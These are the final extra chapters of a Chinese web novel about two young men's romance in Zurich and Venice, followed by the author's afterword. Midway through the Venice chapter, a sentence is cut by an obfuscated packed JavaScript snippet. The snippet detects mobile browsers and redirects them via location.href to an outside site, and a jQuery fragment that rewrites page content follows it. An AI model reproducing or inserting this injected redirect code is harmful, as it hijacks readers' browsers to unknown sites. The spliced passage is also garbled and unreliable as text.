苏黎世的第一场雪落下时，沈厌正坐在公寓的飘窗上，对着素描本发呆。纸上是半幅未完成的速写——裴执的侧脸，线条干净利落，睫毛的弧度都分毫不差。


    "又在画我？"


    身后传来熟悉的声音，沈厌手一抖，铅笔在纸上划出一道多余的痕迹。他转头瞪向刚进门的裴执："操，走路没声音的？"


    裴执的肩上还落着未化的雪花，鼻尖冻得微微发红。他脱下沾雪的大衣挂好，走到沈厌身边坐下，自然而然地接过素描本。


    "画得不错。"他评价道，指尖轻轻抚过纸面，"就是眉毛太皱了，我没那么严肃。"


    沈厌嗤笑一声，伸手去抢素描本："爱要不要。"


    裴执轻松躲过他的动作，顺势将他拉进怀里。三个月的瑞士生活让两人都发生了微妙的变化——裴执的皮肤不再那么苍白，沈厌的眉间少了些戾气，连唇钉都换成了更低调的银色小环。


    "今天怎么这么早回来？"沈厌任由裴执把玩自己的手指，"实验室没事了？"


    裴执的母亲玛德琳是苏黎世大学神经科学研究所的主任，为两人安排了语言课程和实习机会。裴执自然进了研究所帮忙，而沈厌...则选择了当地一所艺术学院的预科班。


    "提前结束了。"裴执的呼吸喷在沈厌耳畔，"想带你去个地方。"


    "现在？"沈厌看向窗外越下越大的雪，"你疯了？"


    裴执只是微笑，起身从衣柜里拿出两件厚羽绒服："穿上，十分钟后出发。"


    二十分钟后，沈厌站在苏黎世湖畔的一栋小木屋前，雪花落在他的睫毛上，融化成细小的水珠。


    "这是...？"


    "我妈的圣诞礼物。"裴执掏出钥匙，"她说我们需要''私人空间''。"


    木门打开的瞬间，暖气和松木香扑面而来。沈厌愣在门口——客厅中央是一棵装饰到一半的圣诞树，地上散落着彩灯和装饰球；壁炉里的火噼啪作响，旁边的地毯上放着两个靠垫和一条毛毯；最引人注目的是墙上挂着的那幅画，赫然是沈厌上个月完成的作业，一幅日内瓦湖的写生。


    "你什么时候..."沈厌的声音哽住了。


    裴执从背后环住他的腰："上周拿来的。喜欢吗？"


    沈厌说不出话，只能点头。这三个月来，他以为自己已经习惯了被爱、被珍视的感觉，但此刻胸腔里膨胀的情绪还是让他不知所措。


    "还有更好的。"裴执牵着他走向二楼，"闭上眼睛。"


    沈厌照做，任由裴执引导自己上楼。木楼梯发出轻微的吱呀声，空气中松木的香气越来越浓。


    "可以看了。"


    睁开眼，沈厌倒吸一口气——整个二楼是一个宽敞的画室，北面落地窗外是雪中的湖景，画架、颜料、各种工具一应俱全，甚至还有一个小型版画印刷机。而最让他震惊的是，角落里堆着厚厚一叠素描本，封面上全都标着日期和地点。


    "这些是..."


    "你过去三个月所有的练习作品。"裴执轻声说，"我都留着。"


    沈厌走向那堆素描本，手指微微发抖。从最初歪歪扭扭的静物写生，到后来逐渐流畅的街景速写，再到上周那幅被教授称赞的人物肖像...每一页都是他重新学画的证明，也是他告别过去的足迹。


    "为什么..."他转身想问，却发现裴执单膝跪在地上，手里拿着一个小巧的丝绒盒子。


    世界仿佛在这一刻静止了。雪花拍打窗户的声音，壁炉里木柴燃烧的声音，甚至他自己的心跳声，一切都变得遥远而不真实。


    "沈厌。"裴执的声音异常清晰，"我知道这太快了，但..."


    "操。"沈厌打断他，声音颤抖得不像自己的，"你他妈在求婚？"


    裴执的耳朵红了，但眼神坚定："我在问你是否愿意...继续和我一起生活。以更正式的方式。"


    沈厌盯着那个打开的盒子——里面不是戒指，而是一把钥匙和一张银行卡。


    "钥匙是这里的，卡是我这些年所有的积蓄。"裴执解释道，"足够你去任何想去的艺术学院，或者开个小工作室，或者..."


    "或者什么？"


    "或者什么都不做，就画你想画的东西。"裴执站起身，将盒子放进沈厌手中，"我知道你一直觉得配不上那些好学校，但我想告诉你，你的才华是真实的，值得被认真对待。"


    沈厌低头看着手中的钥匙和卡，视线模糊成一片。他想起了沈玥，想起她曾经偷偷把他的画贴在卧室墙上，说"哥哥以后一定会成为大画家"；想起了自己辍学后把所有画具锁进箱子的那一天；想起了这三个月来，每次半夜醒来发现裴执在灯下整理他的作业...


    "混蛋。"他哽咽着骂了一句，然后拽住裴执的衣领吻了上去。


    这个吻带着咸涩的泪水和灼热的呼吸，比以往任何一个都更加混乱而真实。裴执的手穿过他的发丝，将他拉得更近，直到两人踉跄着倒在旁边的沙发上。


    "所以...是同意了？"分开时，裴执轻声问，拇指擦过沈厌湿润的眼角。


    沈厌将额头抵在裴执肩上，点了点头："卡还你，钥匙我收了。"


    裴执笑起来，胸腔的震动传递到沈厌身上："随你处置。"


    窗外，雪越下越大，将整个世界包裹在纯净的白色中。壁炉的火光映在两人身上，将影子投在墙上，交织成一个密不可分的整体。


    沈厌想，这大概就是幸福的样子——不是没有过去的阴影，而是有人愿意和你一起面对；不是确信未来一帆风顺，而是知道无论去哪，都有人握着你的手。


    而在他的素描本里，又多了一页新的速写：雪夜，壁炉，两个依偎的身影，和一枚放在茶几上的钥匙。


    唇钉与耳钉


    苏黎世艺术学院的春季开放日，沈厌的作品被摆在展厅最显眼的位置——一组名为《编号17》的版画，黑白对比强烈，线条锋利如刀。


    "这就是你男朋友？"同班的莉莎捅了捅沈厌的胳膊，朝展厅入口努嘴，"比传闻中还帅啊。"


    沈厌抬头，看见裴执穿着一身深灰色西装站在门口，正在和系主任握手。三个月的实验室工作让他身上学者的气质更加明显，只有左耳的银质耳钉在灯光下闪着叛逆的光。


    "啧，穿这么正式..."沈厌嘟囔着，却忍不住多看了几眼。


    裴执似乎感应到他的目光，转头精准地锁定了他的位置。那双总是冷静的眼睛在看到沈厌的瞬间柔软下来，嘴角勾起一个微小的弧度。


    "我去去就回。"沈厌对莉莎说，大步穿过展厅。


    "恭喜。"裴执递给他一小束白色小花，"系主任说你的作品很可能被美术馆收藏。"


    沈厌接过花束，指尖相触时故意多停留了一秒："你怎么说服我妈今天不来的？"


    玛德琳女士自从发现沈厌的艺术天赋后，就成了他最狂热的支持者，几乎不放过任何一个能炫耀"我家孩子"的场合。


    "我说今天有重要实验需要她坐镇。"裴执的眼中闪过一丝狡黠，"代价是下周的家庭晚餐你得做中餐。"


    "成交。"沈厌咧嘴笑了，露出那颗标志性的唇钉，"走吧，带你看看我的大作。"


    他拉着裴执的手走向展区，完全不在乎周围同学惊讶的目光。这三个月来，从最初躲躲藏藏到现在公开牵手，沈厌已经彻底不在乎别人的眼光了。


    "就是这组。"沈厌停在《编号17》前，声音不自觉地低了下来。


    五幅版画按顺序排列：第一幅是一个模糊的少女侧影；第二幅是束缚带和针管；第三幅是破碎的镜子中无数个尖叫的面孔；第四幅是一扇打开的窗户和飘落的纸张；最后一幅是两只交握的手，一只手腕上有编号刺青，另一只戴着实验室手环。


    裴执静静地站在画前，目光从一幅移到另一幅。沈厌能感觉到他的手微微收紧。


    "这是...沈玥？"裴执最终轻声问道。


    沈厌点点头："第一幅是根据记忆画的，后面...是根据她的日记。"


    他没有说那些日记有多么支离破碎，没有说自己花了多少夜晚才能鼓起勇气读完。但裴执似乎都明白，只是用力捏了捏他的手指。


    "最后一幅是我们。"裴执指出，"但我的手腕上从来没有手环。"


    "艺术加工嘛。"沈厌耸肩，"象征你逃离实验室的过去。"


    裴执突然转向他，表情异常认真："谢谢你。"


    "谢什么？"


    "谢谢你让我成为你未来的一部分。"裴执的声音很轻，却字字清晰，"也谢谢你...把过去画出来。"


    沈厌的喉咙发紧。他想起刚开始画画时，那些整夜整夜的噩梦和颤抖得握不住笔的手；想起裴执一次次在深夜把他拉出梦魇，一次次捡起被他扔满地的画纸。


    "肉麻。"他最终嘟囔道，耳尖却红了。


    参观结束后，两人沿着利马特河散步。春日的阳光洒在水面上，碎成千万片金色的光斑。沈厌突然停下脚步，转向裴执：


    "我有个想法。"


    "嗯？"


    "我想把《编号17》的收益捐出去。"沈厌看着河面，"成立一个基金会什么的，帮助那些实验受害者的家人。"


    裴执的眼中闪过一丝惊讶，随即化为温柔："好主意。我妈认识一些律师和社工，可以帮忙。"


    "还有..."沈厌犹豫了一下，"我想在七中办个艺术奖学金，用沈玥的名字。"


    裴执没有立即回答，而是伸手轻轻碰了碰他的唇钉——这个动作在过去三个月里变成了他们之间独特的安慰方式。


    "她会为你骄傲的。"裴执最终说。


    沈厌深吸一口气，点了点头。阳光照在他脸上，那颗银色唇钉闪闪发亮，像一滴凝固的眼泪，也像一颗微小的星辰。


    "对了，"他突然想起什么，"下周你生日，想要什么礼物？"


    裴执思考了一会儿，突然凑到他耳边："我想看你戴耳钉。"


    沈厌挑眉："就这？"


    "就这。"裴执的嘴唇几乎贴在他耳廓上，"右边，和我对称。"


    沈厌的心跳漏了一拍。这个要求看似简单，却充满了占有欲和象征意义——就像他送给裴执的那对耳钉一样。


    "行啊。"他故意满不在乎地说，"不过你得陪我去，我怕疼。"


    裴执笑了，阳光在他的睫毛上跳跃："成交。"


    河水静静流淌，倒映着两人的身影——一个黑发银耳，一个黑发唇钉，并肩站在苏黎世的春光里。在他们身后，艺术学院的方向传来隐约的掌声和欢呼，而前方，还有无数个清晨和黄昏等待着他们一起去探索。


    沈厌想，这大概就是重生的感觉——不是忘记过去的伤痛，而是带着那些伤痕继续前行；不是独自背负沉重的记忆，而是有人愿意与你分享所有重量。


    而当他侧头看向裴执时，发现对方也正看着自己，眼中盛满了他曾经不敢奢望的未来。


    耳骨上的星光


    苏黎世老城区的一家刺青店里，沈厌坐在皮椅上，右耳耳骨上刚被打了一个新鲜的穿孔。银针穿过软骨的瞬间，他下意识攥紧了裴执的手。


    "疼吗？"裴执低声问，拇指轻轻摩挲他的指节。


    沈厌咬着后槽牙摇头："比唇钉差远了。"


    刺青师玛雅——一个满臂纹身、鼻环闪亮的女人——正在为他挑选合适的耳钉："第一次戴建议用医用钢，等愈合了再换其他材质。"


    她拿出一盒样品，各种款式在灯光下闪闪发亮。沈厌的目光却被角落里一对不起眼的银色星星吸引："那个。"


    玛雅挑眉："简约款，不错的选择。"她将星星耳钉消毒后递给裴执，"男朋友帮你戴？"


    沈厌的耳尖一热，但没有否认。过去四个月，他已经习惯了德语区人们对同性关系的坦然态度，也习惯了"男朋友"这个称呼。


    裴执接过耳钉，动作轻柔得像在对待什么珍宝。他站在沈厌面前，微微低头，呼吸拂过沈厌新穿的耳洞。银针穿过皮肤的瞬间，沈厌屏住呼吸，不是因为疼痛，而是因为裴执专注的眼神——漆黑如墨的眸子里只倒映着他一个人。


    "好了。"裴执退后一步欣赏自己的杰作，"很适合你。"


    玛雅递过镜子，沈厌看到镜中的自己——黑发利落，右耳耳骨上一点银星闪烁，与下唇的唇钉相映成趣。而裴执站在他身后，左耳的DNA耳钉在灯光下同样熠熠生辉。


    "情侣款。"玛雅笑着说，"账单已经发到邮箱了，记得两周内不要游泳。"


    走出刺青店，五月的阳光温柔地洒在鹅卵石街道上。沈厌不自觉地摸了摸新穿的耳洞，金属的冰凉触感让他有种奇异的满足感。


    "生日礼物就这？"他故意撞了撞裴执的肩膀，"太便宜你了吧。"


    裴执微笑，从口袋里掏出一个小信封："还有这个。"


    沈厌打开信封，里面是两张去威尼斯的火车票，日期是下周。


    "你实验室不是..."


    "请好假了。"裴执说，"我妈推荐的，说那里有个玻璃工坊能做特殊首饰。"


    沈厌盯着车票看了很久，突然拽住裴执的衣领，在他唇上狠狠亲了一口："这还差不多。"


    回程的电车上，沈厌靠在裴执肩上，窗外的苏黎世湖波光粼粼。他的手指无意识地玩着裴执的耳钉，突然想起什么：


    "对了，你妈昨天问我以后想专攻什么方向。"


    "你怎么说？"


    "版画吧。"沈厌看着窗外飞逝的景色，"那种...能把故事刻进去的艺术。"


    裴执轻轻捏了捏他的手："她会很高兴的。上次你送她那幅日内瓦湖的版画，她偷偷裱起来挂办公室了。"


    沈厌哼了一声，却掩不住嘴角的笑意。玛德琳女士——那位严肃的神经科学家——对他艺术天赋的欣赏几乎到了溺爱的程度，每次家庭聚餐都会炫耀"我家艺术生"的最新作品。


    电车转过一个弯，阳光突然洒满车厢。沈厌眯起眼，看见自己和裴执的影子投在对面的玻璃上——两个耳钉闪闪发光的年轻人，肩并肩坐在开往未来的列车上。


    "喂，"他突然说，"等威尼斯回来，陪我去个地方。"


    "哪里？"


    "七中。"沈厌的声音很轻，"我想...把《编号17》的原稿捐给学校图书馆。顺便看看沈玥的奖学金落实情况。"


    裴执沉默了一会儿，然后点头："好。"


    没有多余的安慰，没有夸张的鼓励，只是一个简单的"好"。但沈厌知道，这意味着裴执会帮他应付可能涌上来的回忆，会在他做噩梦时握着他的手直到天亮，就像过去四个月的每一个夜晚一样。


    电车到站，两人步行回家。公寓楼下，玛德琳女士意外地站在门口，手里拿着一个包裹。


    "正好碰到邮差。"她将包裹递给沈厌，"从中国寄来的。"


    沈厌接过包裹，寄件人写着"李志明"。拆开后，里面是一本装帧精美的画册和一张纸条：【出版社为实验受害者做的纪念画集，你的作品被选为封面。小雨说你们该看看最后一页。】


    裴执接过画册，翻到最后。一张照片滑落出来——七中新建的艺术教室里，一群学生围在一幅壁画前专注临摹。壁画右下角有一个小小的署名：沈玥纪念奖学金首届获奖者集体创作。


    照片背面是李雨的笔迹：【教室在实验楼原B203的位置。校长说，以后这里只培养真正的艺术，没有编号，只有名字。】


    沈厌的指尖微微发抖。裴执无声地握住他的手，两人站在五月的阳光下，影子拉得很长很长。


    "要挂起来吗？"玛德琳女士轻声问。


    沈厌深吸一口气，点了点头："就挂在我的画室吧。"


    上楼时，沈厌落在最后。他看着走在前面的裴执和玛德琳——一个给了他未来，一个给了他家庭——突然觉得命运真是奇妙。一年前的今天，他还是个满身是刺的问题少年，从没想过自己会拥有这一切。


    而此刻，耳骨上的新穿孔隐隐作痛，却像是一个温柔的提醒：有些伤痕终将愈合，变成星光；有些记忆终将被重塑，成为艺术；有些人，会穿越所有黑暗，与你并肩站在阳光下。


    "发什么呆？"裴执在楼梯拐角处回头，"不是说好今晚给我做长寿面吗？"


    沈厌快步跟上，新耳钉在阳光下闪闪发亮："急什么，让你尝尝什么叫真正的中国味道。"


    门关上，将五月的阳光和未来的无数可能一起关在了这个充满颜料的香气、科学期刊和爱的公寓里。而在画室的墙上，那张来自远方的照片静静地等待着被装裱，成为下一个故事的开始。


    威尼斯玻璃星


    威尼斯的阳光与苏黎世截然不同，更热烈，更金黄，像是被亚得里亚海的水汽浸泡过一般。沈厌站在叹息桥下，眯眼望着河道里穿梭的贡多拉，右耳耳骨上的星星耳钉在阳光下闪闪发亮。


    "看路。"裴执一把将他拉回身边，避开了迎面而来的游客群，"你昨天才打的耳洞，别被撞到。"


    沈厌撇嘴，却还是乖乖靠里走："至于吗，早不疼了。"


    嘴上这么说，手指却不自觉地摸了摸那枚星星耳钉。这是他们到威尼斯的第二天，按照计划，今天下午要去慕拉诺岛上的玻璃工坊。


    "你妈到底跟那家工坊说了什么？"沈厌边走边问，"为什么非要我们亲自去不可？"


    裴执的嘴角微微上扬："她说要做一个''特殊的设计''，需要量尺寸。"


    "什么设计这么神秘..."


    他们的对话被路边一家古董店橱窗打断。沈厌突然停下脚步，盯着橱窗里的一对老式怀表——银质表壳上雕刻着精细的星辰图案，打开后表盖内侧可以刻字。


    "喜欢？"裴执问。


    沈厌摇头："就是觉得...挺适合你妈的。"他指了指其中一块表盘上的神经元图案，"神经科学家配神经科学表。"


    裴执轻笑："她确实收集各种科学仪器。"说着便拉他进店，"进去看看。"


    二十分钟后，两人提着精心包装的礼物盒出来。沈厌坚持自己付钱，选了那块带神经元图案的怀表，表盖内侧刻了"To Madeline - SY & PZ"。


    "她生日是下个月吧？"沈厌确认道。


    "嗯。"裴执的目光柔和，"她会珍藏一辈子的。"


    午后，他们乘船前往慕拉诺岛。湛蓝的海面上波光粼粼，沈厌靠在船舷边，咸湿的海风吹乱了他的黑发。裴执站在他身后，双臂环住他的腰，下巴搁在他肩上。


    "看到那座红砖塔了吗？"裴执指着远处，"那就是工坊的标志。"


    玻璃工坊比想象中更古老，红砖建筑爬满藤蔓，门口挂着"Fabbrica di Perle Vitree - Dal 1898"的铜牌。推门进去，热浪混合着彩色玻璃的闪光扑面而来。


    "Ah, i giovani svizzeri！（啊，瑞士来的年轻人！）"一位白胡子老师傅迎上来，热情地握住裴执的手，"La dottoressa ci ha parlato tanto di voi！（博士女士跟我们说了很多你们的事！）"


    裴执用流利的意大利语回应，沈厌只能勉强听懂几个单词。他被带到工作区，各种玻璃制品在灯光下熠熠生辉——花瓶、酒杯、吊灯，还有一整面墙的玻璃珠饰品。


    "Ecco il design speciale.（这就是特殊设计。）"老师傅从柜台下取出一个天鹅绒盒子，打开后，沈厌的呼吸为之一窒。


    那是一对玻璃耳坠，但不是普通的造型——每只耳坠都由两枚微小的玻璃星组成，一颗深蓝如夜空，一颗透明如水晶，彼此环绕旋转，形成一个微型的双星系统。更奇妙的是，当光线照射时，蓝色玻璃星内部会浮现出DNA链般的金色纹路。


    "这..."沈厌说不出话来。


    "我妈设计的。"裴执轻声解释，"蓝色代表我，透明代表你。DNA纹路是用真正的..."他顿了顿，"用我的头发中的DNA样本在玻璃里制成的。"


    沈厌猛地转头看他："你他妈什么时候——"


    "上个月你感冒睡着的时候。"裴执的耳尖微红，"她实验室有设备。"


    老师傅笑着拿出一张设计图，上面是玛德琳女士的亲笔草图，旁边还有详细的分子结构注释。沈厌突然想起上个月某天早晨，发现裴执和玛德琳在厨房窃窃私语，看到他立刻停止对话的情景。


    "所以..."沈厌指着耳坠，"这玩意儿里有你的DNA？"


    "象征性地。"裴执解释道，"主要成分还是玻璃。但理论上，千年后如果有人分析这些金色纹路，就能还原出我的基因序列。"


    沈厌盯着那对在灯光下旋转的星辰，胸口涌上一股难以名状的热流。这大概是世界上最科学的浪漫，最神经学家的告白。


    "试试？"老师傅已经拿出消毒工具。


    沈厌刚打的耳洞还不到一周，理论上不该换饰品。但在裴执期待的目光下，他还是点了点头。


    蓝色星辰被小心地穿入裴执的左耳耳洞，透明星辰则戴在沈厌的右耳。当两颗微型星辰在灯光下轻轻相撞时，发出清脆如风铃的声响。


    "Perfetto！（完美！）"老师傅拍手赞叹，"La dottoressa sarà felice！（博士女士会很高兴的！）"


    回程的船上，沈厌不断用手指触碰那枚透明星辰，感受它与自己耳骨上银星耳钉的轻微碰撞。裴执则显得异常安静，只是时不时摸一下自己耳垂上的蓝色星辰。


    "想什么呢？"沈厌撞了撞他的肩膀。


    裴执望着远处的海平面："在想...DNA可以保存多久。"


    "哈？"


    "理论上，在合适的条件下，DNA能保存数十万年。"裴执转头看他，眼神专注得惊人，"也就是说，即使我们都变成了化石，这对耳坠里的信息依然存在。"


    沈厌愣了片刻，突然明白了裴执话中的含义。这不是普通的饰品，而是一个穿越时间的承诺，一个用科学方式说出的"永远"。


    "矫情。"他嘟囔着，却忍不住凑过去，让自己的星辰耳坠与裴执的轻轻相碰，"不过...挺酷的。"


    夕阳西下，将两人的影子投在甲板上，两颗星辰的影


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374963|183594||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    子也交织在一起。沈厌想起自己画过的无数幅素描，想起《编号17》版画中那两只交握的手，想起玛德琳办公室里挂着的日内瓦湖版画...所有的碎片突然拼成一幅完整的图景——这就是他想要的生活，有艺术，有科学，有记忆，也有未来。


    回到威尼斯主岛时，暮色已深。两人沿着运河漫步，寻找晚餐的餐厅。沈厌突然在一家珠宝店前停下，橱窗里展示着各种戒指。


    "喂，"他若无其事地说，"等毕业了..."


    "嗯？"裴执顺着他的视线看去。


    "我们也搞一对戒指吧。"沈厌指了指橱窗，"不用DNA那么复杂，就...普通的就行。"


    裴执的呼吸明显停滞了一瞬。在威尼斯昏黄的街灯下，沈厌看到他眼中闪烁的光芒比任何玻璃星辰都要明亮。


    "好。"裴执的声音有些哑，"普通的就行。"


    他们继续向前走，两颗星辰耳坠在夜色中微微闪光，像是偷了两片星光别在耳畔。而在不远处的未来，一对普通的戒指正等待着被戴上，成为下一个承诺的开端。


    普通戒指（最后一个番外）


    五年后，苏黎世大学艺术学院的毕业展上，沈厌的个展《蚀刻时光》占据了整个东翼展厅。入口处的介绍牌写着："沈厌，版画与混合媒介艺术家，沈玥纪念基金会创始人"。


    "紧张吗？"裴执从身后靠近，手指轻轻拂过沈厌的西装领口。他已经完成了神经科学的博士学位，眼下正在母亲的研究所担任助理教授，今天特意穿了正式的深蓝色西装，左耳上的DNA星辰耳坠在展厅灯光下熠熠生辉。


    沈厌摇摇头，右耳的透明星辰耳坠随着动作轻晃："又不是第一次办展。"话虽这么说，他的手指还是无意识地摩挲着左手无名指——那里有一个新鲜的戒痕，戒指暂时摘下来放在了口袋里。


    "沈先生！"策展人匆匆走来，"市长到了，还有您提到的几位七中代表..."


    沈厌深吸一口气，整理了一下领带。五年过去，他眉宇间的戾气早已被沉稳取代，只有唇钉和耳钉还保留着当年的叛逆痕迹。裴执不动声色地捏了捏他的手指，然后退到观展人群中。


    展览按时间顺序排列，从最早的《编号17》系列，到威尼斯时期的玻璃星辰实验作品，再到近两年更加成熟的蚀刻版画。沈厌带着嘉宾们一一讲解，声音平稳而清晰。


    "这幅《B203教室》是去年回七中时创作的，"他停在一幅大型综合材料作品前，"使用了教室本身的墙灰、学生们的铅笔屑，以及...当年实验楼留下的一些玻璃碎片。"


    作品中央是一扇明亮的窗户，窗外是无数飞翔的纸鹤，每只纸鹤上都写着一个名字——所有NTX-17实验受害者的名字。沈玥的名字写在最大的一只纸鹤上，翅膀微微张开，仿佛要飞向最远处。


    七中的现任校长——一位在丑闻后上任的女性教育家——悄悄擦了擦眼角。沈玥纪念奖学金已经资助了五届学生，B203教室也成了全校最受欢迎的艺术空间。


    参观到最后一区时，沈厌停下了脚步。这一区的作品全部是近半年新作，连裴执都没见过。


    "这部分叫《普通戒指》，"沈厌的声音有一丝不易察觉的颤抖，"是关于...日常生活的蚀刻。"


    系列作品展示了各种平凡场景：共用早餐的餐桌，交错的书和画笔，阳台上并肩的身影，两只放在洗手台上的牙刷...所有画面都有一个共同点——在不起眼的角落，总有一对简单的银戒指出现在反光表面。


    人群中，裴执的呼吸明显加快了。他的手指不自觉地碰了碰自己左手无名指——那里同样有一圈新鲜的戒痕。


    讲解结束后，宾客们开始自由观展。沈厌穿过人群，在展厅角落找到了正在凝视一幅小画的裴执。画中是两只手，一只手拿着试管，一只手握着刻刀，在实验室的灯光下交叠。试管和刻刀的金属表面反射出窗外的星空，以及两枚几乎被忽略的戒指轮廓。


    "什么时候画的？"裴执轻声问。


    "上个月你熬夜写论文的时候。"沈厌从口袋里掏出那枚简单的银戒指，重新戴回左手，"本来想等今天结束再..."


    裴执也从西装内袋取出自己的戒指戴上，然后从公文包里拿出一个文件夹："我也有东西要给你。"


    文件夹里是一份房产合同和一把钥匙——位于苏黎世湖区和研究所中间的一栋小房子，带一个可以看到星空的花园和一间足够大的画室。


    "毕业礼物。"裴执说，"花园已经种好了玫瑰，画室朝北...如果你不喜欢——"


    沈厌用吻堵住了他剩下的话。五年前在威尼斯随口一提的"普通戒指"，如今戴在了两人手上；而当年那个满身是刺的少年，现在有了自己的展览、基金会，和一个愿意为他种玫瑰的科学家。


    "喜欢。"分开时，沈厌低声说，"不过你得负责给玫瑰除虫。"


    裴执笑着点头，两人手上的戒指在展厅灯光下闪着低调的光。不远处，玛德琳女士正骄傲地向市长展示手机里沈厌的作品照片；李雨和父亲也从中国飞来，正在《B203教室》前合影；艺术学院的教授们围着《普通戒指》系列热烈讨论...


    当夜幕降临，宾客散去，沈厌和裴执最后走出展厅。初夏的夜空繁星点点，像是无数个星辰耳坠洒落在天鹅绒上。


    "回家？"裴执问，手指自然地与沈厌交缠，两枚银戒轻轻相碰。


    沈厌仰头看了看星空，又看了看身边人——这个曾经高冷的学生会长，如今是他每一幅作品的第一个观众，每一次噩梦后的安抚者，每一段人生旅途的同行者。


    "嗯，回家。"


    他们走向停车场，戒指在夜色中偶尔反射出微光。而在不远处的房子里，画室空白的画布等待着新的故事，花园的玫瑰等待着晨露，卧室的窗户正对着星光最密集的方向——那里有两颗特别明亮的星辰，一蓝一白，如同他们耳垂上的耳坠，如同他们无名指上的戒指，如同他们交织在一起、平凡而闪耀的人生。


    [番外完]


    【我是后记】


    窗外的雨已经连续下了三天。我坐在苏黎世公寓的书桌前，手指悬在键盘上方，迟迟无法敲下这篇后记的第一个字。电脑屏幕停留在文档的最后一页，《高冷校草又在偷亲黄毛混混！》的终章已经完结三个月，但这个故事带给我的震撼与感动，却如同窗外的阿尔卑斯山，始终巍然矗立在我的创作生涯中。


    记得这个故事最初诞生于一个失眠的深夜。当时我正在追一部甜腻到发慌的校园剧，突然萌生一个叛逆的念头：如果主角不是乖巧学霸和温柔校花，而是一个满嘴脏话的黄毛混混和一个高冷到面瘫的学生会长呢？"妈耶"这个充满网感的标题就这样蹦了出来，带着戏谑和挑战。


    然而当我真正开始构建沈厌这个角色时，事情开始失控。他唇钉的反光、眉尾的疤痕、口袋里藏着的折叠刀，这些细节背后隐藏的故事比我想象的沉重得多。而裴执——原本设定中只是个高冷面瘫的校园男神——也逐渐显露出他复杂的家庭背景和内心挣扎。到第一章写完时，我已经意识到，这将远不止是一个轻松搞笑的校园恋爱故事。


    沈厌的创作过程像一场漫长的心理治疗。这个满身是刺的问题少年，用愤怒掩饰伤痛，用暴力保护脆弱。他的妹妹沈玥之死，成为贯穿整个故事的情感核心。在写作过程中，我查阅了大量关于青少年创伤后应激障碍的案例，惊讶地发现艺术创作确实是最常见的自我疗愈方式之一。


    于是沈厌的版画天赋从偶然设定变成了必然选择。那些粗糙的涂鸦逐渐演变为精致的版画，正如他支离破碎的内心慢慢重建。《编号17》系列作品的创作过程，某种程度上也是沈厌自我救赎的过程。特别感谢我的艺术治疗师朋友小林，她提供的专业建议让沈厌的艺术成长线更加真实可信。


    如果说沈厌的故事是关于"表达"，那么裴执的故事则是关于"解构"。这个看似完美的优等生，实际上活在一套精密的社会期待牢笼中。写他与父亲对抗的情节时，我参考了几个真实案例——那些在高压家庭环境中成长的天才少年，往往有着常人难以想象的情感缺陷。


    裴执的转变始于他对沈厌唇钉的着迷，这个细节来自我一位心理学教授朋友的观察："人类总是会被自己缺失的特质吸引。"高冷严谨的裴执被自由不羁的沈厌吸引，本质上是对另一种生命可能性的向往。威尼斯玻璃星辰的设计灵感，则来自现实中确实存在的DNA艺术品——将遗传物质封存在玻璃中的前沿科技。


    虽然被归类为校园爱情小说，但我更愿意将这个故事视为一群年轻人的成长史诗。李雨和她的记者父亲代表着社会良知的觉醒；玛德琳女士展现了科学家的道德坚守；甚至连反派林哥和裴明远，也都是某种体制化罪恶的产物。


    特别想谈谈沈玥纪念基金会的设定。这个在番外中出现的机构，其实取材于现实中多个类似的公益组织。在写作期间，我采访了两位校园暴力受害者的家属，他们的坚韧与勇气直接影响了故事的走向。艺术能否改变现实？这个问题没有标准答案，但至少在这个故事里，沈厌的版画确实让"编号17"的悲剧没有重演。


    这个故事连载期间，我收到了读者留言。有人为沈厌的粗口大笑，有人为沈玥的遭遇流泪，更多人在威尼斯星辰耳坠出现时尖叫。最让我动容的是一位医学生的留言："看完结局后，我决定专攻医学伦理方向。"


    有位读者甚至寄来了自己制作的玻璃星辰耳坠——现在它们就挂在我书桌前的窗边，阳光穿透时会在墙上投下细碎的蓝色光斑。这些互动让虚构的角色产生了真实的重量，也让我明白创作从来不是单向的输出。


    最后几章写作时，我正好在苏黎世访学。那座城市的雨天、老城区的石板路、湖区的玫瑰园，都自然而然地融入了故事。沈厌和裴执的"家"——带画室和玫瑰园的小房子，原型就位于苏黎世湖畔的一个安静社区。


    特别要感谢苏黎世艺术学院的几位版画系学生，他们带我参观了工作室，耐心解释蚀刻技术的每个步骤。如果没有这次经历，沈厌的毕业展《蚀刻时光》不会如此真实动人。而裴执的神经科学研究细节，则得益于苏黎世大学神经科学研究所的公开讲座。


    有读者问我为什么不写婚礼场景。答案很简单：对沈厌和裴执而言，重要的从来不是那个仪式。他们共同经历的实验楼逃亡、威尼斯之旅、毕业展筹备，这些日常片段比任何盛大典礼都更能定义他们的关系。


    故事结尾的那对普通银戒，是我能想到最合适的句点。没有钻石，没有复杂雕花，就像他们的爱情——不完美，但足够真实；不华丽，但足够坚韧。


    雨终于停了。我合上电脑，窗外的阿尔卑斯山笼罩在金色的夕阳中。沈厌和裴执的故事已经完结，但他们教会我的关于勇气、艺术与救赎的课题，将会持续影响我的创作生涯。


    或许所有的故事都是如此——开始时我们以为只是在讲述别人的生活，结束时才发现那些角色早已改变了我们自己。


    感谢每一位陪伴这个故事走到最后的读者。愿你们都能找到属于自己的"普通戒指"，或者在必要的时候，成为别人的星辰。


    2025.8.10


    绿山青野